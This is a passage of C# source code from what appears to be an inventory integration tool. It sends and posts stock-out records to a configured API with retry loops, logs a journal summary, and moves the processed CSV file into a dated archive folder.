                                            trnIntegrationForm.folderMonitoringLogMessages("\r\n\nSending Stock Out... (" + Math.Round(percentage, 2) + "%) \r\n\n");

                                            if (i == newStockOuts.Count())
                                            {
                                                trnIntegrationForm.folderMonitoringLogMessages("Send Successful!" + "\r\n\n");
                                                trnIntegrationForm.folderMonitoringLogMessages("Time Stamp: " + DateTime.Now.ToString("yyyy-MM-dd hh:mm:ss tt") + "\r\n\n");
                                                trnIntegrationForm.folderMonitoringLogMessages("\r\n\n");
                                            }

                                            break;
                                        }
                                    }
                                    catch (Exception e)
                                    {
                                        trnIntegrationForm.folderMonitoringLogMessages("Sending Error: " + e.Message + "\r\n\n");
                                        trnIntegrationForm.folderMonitoringLogMessages("Time Stamp: " + DateTime.Now.ToString("yyyy-MM-dd hh:mm:ss tt") + "\r\n\n");
                                        trnIntegrationForm.folderMonitoringLogMessages("\r\n\n");

                                        trnIntegrationForm.folderMonitoringLogMessages("Retrying...\r\n\n");

                                        Thread.Sleep(5000);
                                    }
                                }

                                send = false;
                            }
                        }

                        post = true;
                        break;
                    }
                    catch (Exception e)
                    {
                        trnIntegrationForm.folderMonitoringLogMessages("Error: " + e.Message + "\r\n\n");
                        trnIntegrationForm.folderMonitoringLogMessages("Time Stamp: " + DateTime.Now.ToString("yyyy-MM-dd hh:mm:ss tt") + "\r\n\n");
                        trnIntegrationForm.folderMonitoringLogMessages("\r\n\n");

                        trnIntegrationForm.folderMonitoringLogMessages("Retrying...\r\n\n");

                        Thread.Sleep(5000);
                    }
                }

                // =======
                // Posting
                // =======
                if (post)
                {
                    trnIntegrationForm.folderMonitoringLogMessages("Posting Stock Out... (0%) \r\n\n");
                    while (true)
                    {
                        try
                        {
                            var groupedStockOuts = from d in newStockOuts
                                                   group d by new
                            {
                                d.BranchCode,
                                d.ManualOTNumber
                            } into g
                            select g.Key;

                            var stockOuts = from d in groupedStockOuts.ToList() select d;
                            if (stockOuts.Any())
                            {
                                Decimal percentage = 0;
                                Int32   count      = 0;

                                foreach (var stockOut in stockOuts.ToList())
                                {
                                    count     += 1;
                                    percentage = Convert.ToDecimal((Convert.ToDecimal(count) / Convert.ToDecimal(stockOuts.Count())) * 100);

                                    while (true)
                                    {
                                        try
                                        {
                                            String postStockOutTask = await PostStockOut(domain, stockOut.BranchCode, stockOut.ManualOTNumber);

                                            if (!postStockOutTask.Equals("Post Successful..."))
                                            {
                                                trnIntegrationForm.folderMonitoringLogMessages(postStockOutTask);
                                                trnIntegrationForm.folderMonitoringLogMessages("Time Stamp: " + DateTime.Now.ToString("yyyy-MM-dd hh:mm:ss tt") + "\r\n\n");
                                                trnIntegrationForm.folderMonitoringLogMessages("\r\n\n");

                                                trnIntegrationForm.folderMonitoringLogMessages("Retrying...\r\n\n");

                                                Thread.Sleep(5000);
                                            }
                                            else
                                            {
                                                trnIntegrationForm.folderMonitoringLogMessages("OTIntegrationLogOnce");
                                                trnIntegrationForm.folderMonitoringLogMessages("\r\n\nPosting Stock Out... (" + Math.Round(percentage, 2) + "%) \r\n\n");

                                                if (count == stockOuts.Count())
                                                {
                                                    trnIntegrationForm.folderMonitoringLogMessages("Post Successful!" + "\r\n\n");
                                                    trnIntegrationForm.folderMonitoringLogMessages("Time Stamp: " + DateTime.Now.ToString("yyyy-MM-dd hh:mm:ss tt") + "\r\n\n");
                                                    trnIntegrationForm.folderMonitoringLogMessages("\r\n\n");

                                                    String jDate  = journalDate.ToString("MM-dd-yyyy", CultureInfo.InvariantCulture);
                                                    String apiURL = "http://" + domain + "/api/folderMonitoring/journal/" + jDate + "/OT";

                                                    HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(apiURL);
                                                    httpWebRequest.Method = "GET";
                                                    httpWebRequest.Accept = "application/json";

                                                    HttpWebResponse httpResponse = (HttpWebResponse)httpWebRequest.GetResponse();
                                                    using (StreamReader streamReader = new StreamReader(httpResponse.GetResponseStream()))
                                                    {
                                                        var result = streamReader.ReadToEnd();
                                                        JavaScriptSerializer js = new JavaScriptSerializer();
                                                        Entities.FolderMonitoringTrnJournal sumUpJournal = (Entities.FolderMonitoringTrnJournal)js.Deserialize(result, typeof(Entities.FolderMonitoringTrnJournal));

                                                        if (sumUpJournal != null)
                                                        {
                                                            trnIntegrationForm.folderMonitoringLogMessages("Date: " + sumUpJournal.JournalDate + "\r\n\n");
                                                            trnIntegrationForm.folderMonitoringLogMessages("Total Debit: " + sumUpJournal.TotalDebitAmount + "\r\n\n");
                                                            trnIntegrationForm.folderMonitoringLogMessages("Total Credit: " + sumUpJournal.TotalCreditAmount + "\r\n\n");
                                                            trnIntegrationForm.folderMonitoringLogMessages("Balance: " + sumUpJournal.TotalBalance + "\r\n\n");
                                                            trnIntegrationForm.folderMonitoringLogMessages("Time Stamp: " + DateTime.Now.ToString("yyyy-MM-dd hh:mm:ss tt") + "\r\n\n");
                                                            trnIntegrationForm.folderMonitoringLogMessages("\r\n\n");
                                                        }
                                                    }
                                                }

                                                break;
                                            }
                                        }
                                        catch (Exception e)
                                        {
                                            trnIntegrationForm.folderMonitoringLogMessages("Posting Error: " + e.Message + "\r\n\n");
                                            trnIntegrationForm.folderMonitoringLogMessages("Time Stamp: " + DateTime.Now.ToString("yyyy-MM-dd hh:mm:ss tt") + "\r\n\n");
                                            trnIntegrationForm.folderMonitoringLogMessages("\r\n\n");

                                            trnIntegrationForm.folderMonitoringLogMessages("Retrying...\r\n\n");

                                            Thread.Sleep(5000);
                                        }
                                    }
                                }
                            }

                            break;
                        }
                        catch (Exception e)
                        {
                            trnIntegrationForm.folderMonitoringLogMessages("Error: " + e.Message + "\r\n\n");
                            trnIntegrationForm.folderMonitoringLogMessages("Time Stamp: " + DateTime.Now.ToString("yyyy-MM-dd hh:mm:ss tt") + "\r\n\n");
                            trnIntegrationForm.folderMonitoringLogMessages("\r\n\n");

                            trnIntegrationForm.folderMonitoringLogMessages("Retrying...\r\n\n");

                            Thread.Sleep(5000);
                        }
                    }
                }
            }
            else
            {
                trnIntegrationForm.folderMonitoringLogMessages("Erorr: Data Source Empty \r\n\n");
                trnIntegrationForm.folderMonitoringLogMessages("Time Stamp: " + DateTime.Now.ToString("yyyy-MM-dd hh:mm:ss tt") + "\r\n\n");
                trnIntegrationForm.folderMonitoringLogMessages("\r\n\n");
            }

            // =============
            // Move CSV File
            // =============
            trnIntegrationForm.folderMonitoringLogMessages("Moving Stock Out File... (0%) \r\n\n");
            while (true)
            {
                try
                {
                    String settingsPath = Path.Combine(Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location), @"Settings.json");
                    using (StreamReader trmRead = new StreamReader(settingsPath))
                    {
                        JavaScriptSerializer javaScriptSerializer = new JavaScriptSerializer();
                        Entities.SysSettings sysSettings          = javaScriptSerializer.Deserialize <Entities.SysSettings>(trmRead.ReadToEnd());

                        String executingUser = WindowsIdentity.GetCurrent().Name;

                        DirectorySecurity securityRules = new DirectorySecurity();
                        securityRules.AddAccessRule(new FileSystemAccessRule(executingUser, FileSystemRights.Read, AccessControlType.Allow));
                        securityRules.AddAccessRule(new FileSystemAccessRule(executingUser, FileSystemRights.FullControl, AccessControlType.Allow));

                        if (!Directory.Exists(sysSettings.FolderForSentFiles + "\\OT_" + DateTime.Now.ToString("yyyyMMdd") + "\\"))
                        {
                            DirectoryInfo createDirectoryOTCSV = Directory.CreateDirectory(sysSettings.FolderForSentFiles + "\\OT_" + DateTime.Now.ToString("yyyyMMdd") + "\\", securityRules);
                        }

                        String folderForSentFiles = sysSettings.FolderForSentFiles + "\\OT_" + DateTime.Now.ToString("yyyyMMdd") + "\\";
                        File.Move(file, folderForSentFiles + "OT_" + DateTime.Now.ToString("yyyyMMdd_hhmmss") + ".csv");
                    }

                    trnIntegrationForm.folderMonitoringLogMessages("OTIntegrationLogOnce");

                    trnIntegrationForm.folderMonitoringLogMessages("\r\n\nMoving Stock Out File... (100%) \r\n\n");
                    trnIntegrationForm.folderMonitoringLogMessages("Move Successful!" + "\r\n\n");
                    trnIntegrationForm.folderMonitoringLogMessages("Time Stamp: " + DateTime.Now.ToString("yyyy-MM-dd hh:mm:ss tt") + "\r\n\n");
                    trnIntegrationForm.folderMonitoringLogMessages("\r\n\n");

                    break;
                }
                catch (Exception e)
                {
                    trnIntegrationForm.folderMonitoringLogMessages("Moving File Error: " + e.Message + "\r\n\n");
                    trnIntegrationForm.folderMonitoringLogMessages("Time Stamp: " + DateTime.Now.ToString("yyyy-MM-dd hh:mm:ss tt") + "\r\n\n");
                    trnIntegrationForm.folderMonitoringLogMessages("\r\n\n");

                    trnIntegrationForm.folderMonitoringLogMessages("Retrying...\r\n\n");

                    Thread.Sleep(5000);
                }
            }
        }